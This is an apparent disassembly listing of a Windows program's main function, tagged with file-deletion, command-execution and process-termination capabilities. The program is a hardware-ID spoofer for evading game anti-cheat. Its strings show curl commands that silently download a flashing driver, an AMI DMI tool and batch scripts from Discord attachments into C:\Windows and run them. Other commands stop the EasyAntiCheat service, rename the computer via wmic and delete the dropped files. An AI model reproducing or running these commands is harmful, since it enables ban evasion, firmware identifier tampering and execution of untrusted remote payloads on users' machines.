Function at 0x140011285
Capabilities:
Delete file
Execute command
Terminate process

Disassembly:
jmp 0x140011960
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x140024100]
call fcn.14001138e
nop
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, str._1__Spoof__Clean_PC_n_2__Exit_n
call fcn.1400111a9
nop
lea rcx, str._____:
call fcn.1400111a9
nop
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
nop
mov eax, dword [rbp + 4]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 1
je 0x1400119fa
cmp dword [rbp + 0xd4], 2
je 0x140011b22
jmp 0x140011b3c
lea rcx, [0x14001ad2c]
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233854053767712914_amifldrv64.sys__o_C:Windows_amifldrv64.sys___silent
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233853981449650297_AMIDEWINx64.EXE__o_C:WindowsAMIDEWINx64.EXE___silent
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1133729053120151623_1233855729820237904_spoofer.sys__o_C:Windows_spoof.bat___silent
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1243941056006066297_1244687212210294885_spoofer.bat__o_C:Windows_spoofer.bat___silent
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str._n_n_____Click_Any_Key_To_Perm_Spoof_
call fcn.1400111a9
nop
lea rcx, str.pause__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
mov edx, 0x12c
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Beep]
nop
lea rcx, str._n_n_____Cleaning_Hardware...
call fcn.1400111a9
nop
lea rcx, str.sc_stop_EasyAntiCheat__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.sc_stop_EasyAntiCheat.sys__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str._n_n_____Spoofing_Pc_Identifiers...
call fcn.1400111a9
nop
lea rcx, str.C:Windowslauncher.bat__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.wmic_computersystem_where_name_computername__call_rename_random_
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.C:Windows_spoof.bat
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.C:Windows_amifldrv64.sys
call qword [sym.imp.ucrtbased.dll_remove]
nop
lea rcx, str.C:WindowsAMIDEWINx64.EXE
call qword [sym.imp.ucrtbased.dll_remove]
nop
lea rcx, str.C:Windows_spoof.bat
call qword [sym.imp.ucrtbased.dll_remove]
nop
mov edx, 0x1f4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
nop
lea rcx, str._n_n_n_____Done_Perm_Spoofing____n_n
call fcn.1400111a9
nop
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [0x14001ad2c]
call qword [sym.imp.ucrtbased.dll_system]
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac80]
call fcn.14001132a
mov rax, rdi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret